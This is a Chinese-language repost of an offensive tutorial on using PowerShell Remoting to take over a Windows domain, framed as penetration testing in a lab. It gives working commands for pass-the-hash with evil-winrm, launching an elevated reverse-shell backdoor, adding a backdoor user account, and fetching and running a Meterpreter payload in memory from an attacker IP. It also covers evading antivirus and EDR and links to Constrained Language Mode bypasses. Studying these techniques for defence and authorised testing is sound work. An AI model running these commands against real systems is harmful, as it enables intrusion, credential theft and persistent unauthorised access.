黑客的 PowerShell 远程控制:2024 年的域名接管

admin 2024年10月27日22:03:41评论10 views字数 8320阅读27分44秒阅读模式

黑客的 PowerShell 远程控制:2024 年的域名接管

黑客的 PowerShell 远程控制:2024 年的域名接管

PowerShell Remoting 是 Windows 的一项原生功能,可用于接管整个企业。它允许您在机器之间切换、自动执行黑客任务并控制 Windows 环境,同时保持不被发现。 

本综合指南将教您有关 PowerShell Remoting 的知识以及如何使用它来启动交互式会话、执行远程命令以及针对多台机器运行完整的 PowerShell 脚本。 

您还将了解它如何用于常见的渗透测试操作,如横向移动、权限提升以及在逃避检测的同时建立持久性。

让我们直接开始学习如何进行 PSRemoting。

什么是 PowerShell Remoting? 

PowerShell Remoting 是 Windows PowerShell 的一项功能,允许系统管理员远程在 Windows 环境中的计算机上执行命令和脚本。这类似于在 Linux 服务器上使用 SSH运行命令或脚本。

它专为 IT 管理员在企业环境中的系统上执行远程管理和自动化任务而设计。 

使用单个命令或脚本,您可以更新软件、更改配置设置或编辑跨多台计算机的服务。SOC分析师或响应人员还可以使用它来收集日志进行分析或快速执行补救措施。 

综上所述,PowerShell Remoting 具有以下主要特点:

  • 远程命令执行 (RCE):在远程系统上运行命令或脚本。

  • 交互式:启动交互式远程会话并运行远程命令,就像在本地 PowerShell 终端中一样。 

  • 脚本执行:在多台机器上同时执行完整的 PowerShell 脚本作为后台作业,以使用异步任务执行来执行。

  • 安全:使用具有 Kerberos 支持和 NTLM 身份验证的加密通信通道 (WinRM)。

  • 可扩展:同时在数百台机器上使用 PowerShell Remoting,让您能够控制和管理企业工作站和服务器群。

这些功能使 PowerShell Remoting 成为 IT 管理员的绝佳选择。但是,渗透测试人员也可以使用它来对系统进行安全测试,或者黑客也可以在网络攻击期间使用它。

在下一节中,我们将介绍如何使用 PowerShell 远程进行渗透测试。

远程执行命令

PowerShell Remoting 允许您在远程系统上执行命令和脚本。这意味着您无需坐在目标工作站前即可执行攻击。一旦进入网络,您就可以攻击任何联网的机器。 

隐身与躲避

PowerShell内置于现代 Windows 系统中,而 PowerShell Remoting 是 IT 人员用来管理机器的合法功能。这意味着攻击者可以使用这种原生技术混入合法流量中,减少上传额外黑客工具的需要,并躲过防御者的监视。

此外,PowerShell Remoting 是加密的。这使得安全运营团队更难检测和分析恶意流量。

自动侦察和利用

PowerShell Remoting 允许您同时针对数百台计算机执行整个 PowerShell 脚本。这非常适合自动执行常见的侦察和利用任务,例如扫描网络端口、查找易受攻击的计算机以及执行凭证填充。自动化可节省您的时间和精力。

漏洞利用后活动

获得初始访问权限后,黑客将执行后期利用活动,例如设置持久性机制、执行凭据收集以窃取数据,并最终执行横向移动。同样,PowerShell Remoting 是一款出色的工具,具有远程代码执行能力、Windows 环境中的本机支持和自动化功能。 

设置并启用 PowerShell 远程处理

Windows 计算机上的 PowerShell Remoting 默认处于禁用状态。要启用远程处理,请以管理员身份打开 PowerShell 终端并执行命令Enable-PSRemoting -Force。这将打开 PowerShell Remoting 功能并确保 Windows 防火墙允许 WinRM 流量。

黑客的 PowerShell 远程控制:2024 年的域名接管

如果您可以与目标建立 WMIC 连接,则可以使用 Windows 管理规范 (WMI) 命令远程激活 PowerShell Remoting 。wmic /node:<RemoteHost> process call create "powershell enable-psremoting -force"

如果您使用加入域的计算机执行 PowerShell Remoting,这就是您所需要的。 

但是,如果您从未连接到与目标计算机同一域的计算机执行远程 PowerShell 命令,则您的计算机将被视为“不受信任的主机”。例如,您的Kali Linux 计算机将是一个不受信任的主机。

为了确保 PowerShell Remoting 可在任何计算机上运行,您必须将该单台计算机添加到要进行 PowerShell Remoting 的计算机的受信任主机列表中,或者使用通配符 ( *) 将所有主机设置为受信任主机:

  • 要添加您的机器,请执行命令。Set-Item wsman:localhostClientTrustedHosts -Value "<YourComputerName>"

  • 要添加所有主机,请运行命令Set-Item wsman: localhostClientTrustedHosts -Value *。仅在受控测试环境中使用此命令。

再次,以目标机器上的管理员身份从 PowerShell 终端运行这些命令。

黑客的 PowerShell 远程控制:2024 年的域名接管

要从 Kali Linux 机器测试您的连接,您可以使用内置的evil-winrm 工具。运行该命令以查看是否可以使用 WinRM 协议连接到目标机器。evil-winrm -i <target-ip> -u <username> -p <password>

黑客的 PowerShell 远程控制:2024 年的域名接管

如果成功,您可以使用 PowerShell Remoting 执行 PowerShell 命令和脚本。 

本文中的演示使用定制的 Windows Active Directory 黑客实验室,并假设您能够窃取 Active Directory 用户的凭据以访问该环境。阅读如何创建虚拟黑客实验室:终极设置,了解如何构建您自己的黑客实验室。

如何使用 PowerShell 远程处理:命令

一旦在目标计算机上启用了 PowerShell Remoting,您就可以开始运行远程 PowerShell 命令。 

首先,要与目标建立 PowerShell Remoting 会话,请使用 GUI 顶部的下拉菜单在 Kali Linux 机器上打开 PowerShell 终端。

黑客的 PowerShell 远程控制:2024 年的域名接管

接下来,运行。这将连接到远程目标并要求您输入与指定用户名关联的密码。输入此密码将在目标计算机上启动远程 PowerShell 会话。Enter-PSSession -ComputerName <target-ip> -Authentication Negotiate -Credential <username>

黑客的 PowerShell 远程控制:2024 年的域名接管

一旦建立了 PowerShell 远程会话,您就可以与目标机器交互,就像在本地打开 PowerShell 终端一样。 

PowerShell 远程脚本

PowerShell 命令很棒,但您可能不想每次都以交互方式逐一运行它们。 

好消息:PowerShell Remoting 允许您将命令捆绑到脚本中并在目标机器上异步执行它以自动执行任务。         

首先,创建一个 PowerShell 变量来保存与命令 的 PowerShell 远程会话。这样,每当您想要在远程计算机上运行 PowerShell 命令或脚本时,都可以引用该变量。

$ps_session = New-PSSession -ComputerName <target-ip> -Authentication Negotiate -Credential <username>

黑客的 PowerShell 远程控制:2024 年的域名接管

接下来,使用Invoke-Command带有-Session和-ScriptBlock选项的 cmdlet 一次运行多个 PowerShell 命令。例如,Invoke-Command -Session $ps_session -ScriptBlock {hostname; whoami; Get-Process;}将获取计算机的主机名 (1)、您以何种身份登录的用户 (2) 并列出所有正在运行的进程 (3) — 所有基本域侦察都在一个命令中完成。

黑客的 PowerShell 远程控制:2024 年的域名接管

要执行 PowerShell 脚本(而不是脚本块),请使用-FilePath选项,后跟要执行的脚本的路径。例如:

Invoke-Command -Session $ps_session -FilePath /home/adam/host-recon.ps1

黑客的 PowerShell 远程控制:2024 年的域名接管

这里,host-recon.ps1 脚本包含与之前相同的 PowerShell 命令,只是在脚本中而不是单独列出。查看PowerSploit以获取在渗透测试期间运行的优秀 PowerShell 黑客脚本。

PowerShell 远程会话管理

您刚刚了解了Enter-PSSessioncmdlet 如何创建交互式会话,以及New-PSSession如何创建可用于执行命令的会话。这些是用于管理会话的 PowerShell Remoting 会话管理 cmdlet。以下是您可以使用的所有会话管理 cmdlet 的摘要:

Cmdlet Description Example
Enter-PSSession 启动与远程计算机的交互式会话,您可以在其中直接运行命令。 Enter-PSSession -ComputerName <RemoteComputerName>
Exit-PSSession 结束以 开始的交互式会话Enter-PSSession Exit-PSSession
New-PSSession 创建与一台或多台计算机的持久远程连接,以便您可以同时运行多个命令。 $session = New-PSSession -ComputerName RemoteComputerName
Remove-PSSession 关闭由 创建的一个或多个远程会话New-PSSession Remove-PSSession -Session $session
Get-PSSession 检索本地计算机上当前可用的 PowerShell 会话。  Get-PSSession

黑客的 PowerShell 远程处理

PowerShell Remoting 是一个强大的功能,系统管理员可以使用它来管理系统,但黑客也可以滥用它。 

恶意行为者可以使用 PowerShell Remoting 进行横向移动、提升权限、安装持久机制并逃避检测。 

让我们探索如何在渗透测试期间做到这一点。

PowerShell 远程控制实现横向移动

横向移动是任何渗透测试中的关键步骤,而 PowerShell Remoting 可以让它变得非常容易。 

你只需要使用Mimikatz或Meterpreter之类的工具从受感染的系统窃取凭据。然后,使用这些凭据通过 PowerShell Remoting 对其他系统进行身份验证。 

例如,下面,窃取的 StationX 管理员帐户的 NTLM 哈希与 evil-winrm 黑客工具一起使用,通过 PowerShell Remoting 执行传递哈希攻击。运行的命令是:

evil-winrm -i <target-ip> -u <username> -H <hash>
黑客的 PowerShell 远程控制:2024 年的域名接管

PowerShell Remoting 可让您在其他用户执行脚本或在整个 Active Directory 网络中的多个系统上运行命令时启动交互式会话。您仅受被盗凭据可以访问的内容以及是否启用了 PowerShell Remoting 的限制。 

PowerShell Remoting 用于权限提升

PowerShell Remoting 还可以通过执行任意 PowerShell 命令来提升您在目标计算机上的 权限。

您可以运行特定命令来检查权限提升的机会或自动提升权限的整个脚本。 

例如,渗透测试期间的许多后利用活动需要提升权限,如检查错误配置、安装持久机制或泄露敏感数据。 

您可以使用 PowerShell Remoting 通过以下命令启动提升的反向 shell Invoke-Command -Session 

$ps_session -ScriptBlock { Start-Process “C:Usersstationx-adminDownloadsbackdoor.exe” -Verb RunAs }。

黑客的 PowerShell 远程控制:2024 年的域名接管

该-Verb RunAs参数将以具有管理权限的进程形式启动backdoor.exe可执行文件。在这种情况下,它将在目标计算机上启动管理员反向 shell,您可以使用它来执行后期利用任务,例如将您的权限升级到系统用户。 

下面,使用Metasploit捕获这个反向 shell ,并且getsystem由于 shell 以管理员权限运行,因此 Meterpreter 命令成功执行。

黑客的 PowerShell 远程控制:2024 年的域名接管

此处演示的命令针对禁用 Microsoft Windows Defender 和 Smart Screen 的 Windows 10 机器运行。

PowerShell 远程处理以实现持久性

一个常见的后利用任务是安装持久机制,即使用户注销或重新启动系统,您仍能保持对目标机器的访问。 

您可以使用各种持久性机制,例如创建连接到命令和控制(C2) 服务器的Windows 启动文件夹脚本、安装恶意服务或使用注册表运行项。 

网络攻击中常见的持久性机制是在目标环境中创建新的用户帐户。您可以使用 PowerShell Remoting 和命令 来执行此操作。

Invoke-Command -Session $ps_session -ScriptBlock { net user <username> <password>  /add }
黑客的 PowerShell 远程控制:2024 年的域名接管

到这里,新用户hacker就创建好了,你可以用它作为后门来登录这个系统。你也可以将它添加到特权组中,让它在目标环境中拥有更多的访问权限。 

只需确保您具有所需的用户权限,即可使用用于 PowerShell Remoting 的帐户添加此新用户。 

避免检测

如上所述,横向移动是任何渗透测试的关键步骤。但是,通常,这需要您使用PowerShell Empire等 C2 框架,并在您移动到的每台机器上安装 C2 代理,以便您可以与其交互。 

这是大多数渗透测试被检测到的地方。防病毒软件或端点检测和响应 (EDR) 工具将扫描机器并检测是否存在恶意软件(例如,您的 C2 代理)。 

然后它会隔离或删除该恶意软件,您的访问权限将丢失。为了避免这种情况,渗透测试人员和红队成员会花费数天或数周的时间编写可以逃避检测的自定义 C2 植入程序。 

如果这听起来很繁琐,别担心:这正是 PowerShell Remoting 的亮点所在。事实上,您的 PowerShell Remoting 会话、命令和脚本完全在内存中运行。 

这意味着基于签名的扫描等常见检测技术不会检测到您的后利用活动,并且您可以不受干扰地进行横向移动。 

此外,由于 PowerShell Remoting 在企业环境中非常常见,因此与 PsExec 之类的工具不同,您的操作很可能不会被防御者注意到。 

PsExec 并未预先安装在大多数工作站或服务器上,因此融入目标环境的机会低于 PowerShell Remoting。

使用 PowerShell Remoting 保持不被发现的一种方法是将 PowerShell 脚本完全下载到目标机器的内存中并执行。 

例如,此命令使用 PowerShell 下载底座在内存中下载并完全执行 Meterpreter 反向 shell:

Invoke-Command -Session $ps_session -ScriptBlock { IEX (New-Object Net.WebClient).DownloadString('http://10.0.200.17:8000/backdoor.ps1’) }.

黑客的 PowerShell 远程控制:2024 年的域名接管

Meterpreter 反向 shell 从攻击者机器 ( ) 下载10.0.200.17并在目标机器上执行,无需接触磁盘,从而避开磁盘上的检测机制。完全交互式的 shell 会重新连接到您的攻击机器。

黑客的 PowerShell 远程控制:2024 年的域名接管

这只是一个反向 shell。您还可以下载并执行数据泄露脚本、C2 代理或任何其他允许您实现目标的恶意软件。 

然而,在开始之前,请记住 PowerShell Remoting 有一些限制,特别是在启用了受限语言模式的情况下。 

必须允许 PowerShell 脚本在您正在攻击的 Windows 系统上执行,才能下载并在内存中执行它们。您可以通过更改Set-Execution 策略参数来启用此功能。

受限语言模式

受限语言模式(CLM) 是一种 PowerShell 安全功能,可限制您可以运行的命令和脚本。它限制黑客可能滥用的某些 cmdlet 和语言功能的使用,例如限制使用恶意软件中常见的 .NET 类和方法。 

它还会阻止对某些 .NET 框架类型的访问,这些框架类型可用于执行任意代码或访问敏感系统资源,如本地安全机构子系统服务(LSASS)。黑客需要此访问权限来窃取凭据并执行凭据收集。

一旦启用 CLM,系统管理员就会定义可以运行哪些脚本、可以使用哪些 .NET 框架类型以及用户可以访问哪些 PowerShell 语言功能。这严重限制了您的 PowerShell 远程处理功能。

您可以执行PowerShell命令$ExecutionContext.SessionState.LanguageMode来检测CLM是否已启用。

黑客的 PowerShell 远程控制:2024 年的域名接管

这将返回当前系统的语言模式:

  • FullLanguage:这是默认模式。它提供完整的脚本功能,没有任何限制。所有 cmdlet、语言功能和 .NET 类型均可用。

  • RestrictedLanguage:此选项将您限制为基本 cmdlet 和表达式。它不允许使用复杂的语言脚本、构造或 .NET 类型。

  • NoLanguage:在这里,脚本执行被完全禁用,只允许执行基本的命令。

  • ConstrainedLanguage:在此模式下,允许编写基本脚本,但对高级功能和 .NET 类型的访问受到限制。此语言仅允许您执行基本的管理任务。

如果您发现您正在使用 PowerShell Remoting 的计算机上启用了 CLM,您可以尝试几种绕过方法。 

绕过 CLM 的最简单方法是将 PowerShell 远程会话降级到以前的 PowerShell 版本。例如,您可以使用命令降级到 PowerShell 版本 2.0 powershell -version 2。

黑客的 PowerShell 远程控制:2024 年的域名接管

降级到较旧的 PowerShell 版本需要目标计算机上已安装该版本。如果不是这种情况,还有其他 CLM 绕过方法,包括: 
  • 使执行脚本的路径包含system32,如此处所述。https://www.blackhillsinfosec.com/constrained-language-mode-bypass-when-pslockdownpolicy-is-used/
  • PowerShell CLM 绕过脚本。https://github.com/calebstewart/bypass-clm
  • 使用PowerShell 运行空间绕过 CLM。https://www.secjuice.com/powershell-constrainted-language-mode-bypass-using-runspaces/
让我们看看 PowerShell Remoting 与 Windows 环境中常用于横向移动的另一种工具相比如何。
PowerShell Remoting 与 PsExec
PsExec是威胁行为者经常使用的另一种流行工具,用于执行横向移动、提升权限和执行远程代码。 
此命令行实用程序是 Microsoft Sysinternals 套件的一部分。它轻量且独立,系统管理员经常将其安装在企业环境中。 
PsExec 与 PowerShell Remoting 有许多相似之处。它们在 Windows 环境中运行良好,可以与合法的管理员工作融合,并且非常适合执行后漏洞利用任务。 
但是,与 PowerShell Remoting 不同的是,PsExec 专为快速、临时任务而设计,例如运行简单命令或非 PowerShell 可执行文件。 
您无法使用它来自动执行复杂任务,例如执行完整脚本、针对多台计算机运行命令或创建交互式会话。它只有在以最少的配置执行单个任务时才会大放异彩。 
如果您想要一个更强大的解决方案,PowerShell Remoting 是最佳选择。唯一的问题是它是否在您的目标环境中进行了配置,以及您是否可以绕过任何 PowerShell 保护(如 CLM)。 

结论

PowerShell Remoting 是一项强大的 Windows 功能,可让您执行横向移动、提升权限并安装持久机制。 

本指南演示了如何使用它来启动交互式会话,运行临时命令,以及执行可以自动执行许多黑客任务的整个 PowerShell 脚本。 

您还了解了如何使用 PowerShell Remoting 来逃避检测、发现了绕过 PowerShell 的受限语言模式 (CLM) 的技巧,并了解了 PowerShell Remoting 与 PsExec 的对比情况。 

原文始发于微信公众号(Ots安全):黑客的 PowerShell 远程控制:2024 年的域名接管

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月27日22:03:41
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   黑客的 PowerShell 远程控制:2024 年的域名接管https://cn-sec.com/archives/3320755.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息